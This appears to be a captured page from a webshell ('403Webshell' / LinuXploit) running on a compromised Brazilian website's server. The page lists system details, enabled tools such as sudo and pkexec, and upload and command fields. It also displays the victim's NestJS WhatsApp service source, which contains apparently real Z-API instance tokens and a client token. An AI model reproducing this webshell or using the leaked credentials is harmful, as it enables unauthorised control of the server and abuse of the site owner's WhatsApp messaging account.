403Webshell
Server IP : 189.126.111.107  /  Your IP : 216.73.217.69
Web Server : Apache
System : Linux www.gadotticar.com.br 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User : gadotticar ( 1000)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/gadotticar/frete-api/src/whatsapp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gadotticar/frete-api/src/whatsapp/whatsapp.service.ts
import { Injectable } from '@nestjs/common';
import { HttpService } from '@nestjs/axios';
import { lastValueFrom } from 'rxjs';

@Injectable()
export class WhatsAppService {
    constructor(private readonly httpService: HttpService) {}

    private readonly zApiUrl = 'https://api.z-api.io/instances/3DF061B9548CD02C07F88E66062CE0C1/token/D3FB3AFD0D56F3CCA0C605D6'; // Substitua pelos valores reais
    private readonly clientToken = 'F973ec3628d0c4134881ad676e4cd9c46S'; // Substitua pelo Client-Token real

    async sendMessage(phone: string, message: string) {
        const url = `${this.zApiUrl}/send-text`;
        const data = { phone, message };
        try {
            const response = await lastValueFrom(
                this.httpService.post(url, data, {
                    headers: {
                        'Client-Token': this.clientToken, // Adiciona o cabeƧalho Client-Token
                    },
                }),
            );
            return response.data;
        } catch (error) {
            const errorMessage = error.response?.data?.error || error.message;
            console.error('Erro ao enviar mensagem:', errorMessage);
            throw new Error('Falha ao enviar mensagem');
        }
    }

    async receiveMessage(data: any) {
        console.log('Mensagem recebida:', data);
        return { status: 'received', data };
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit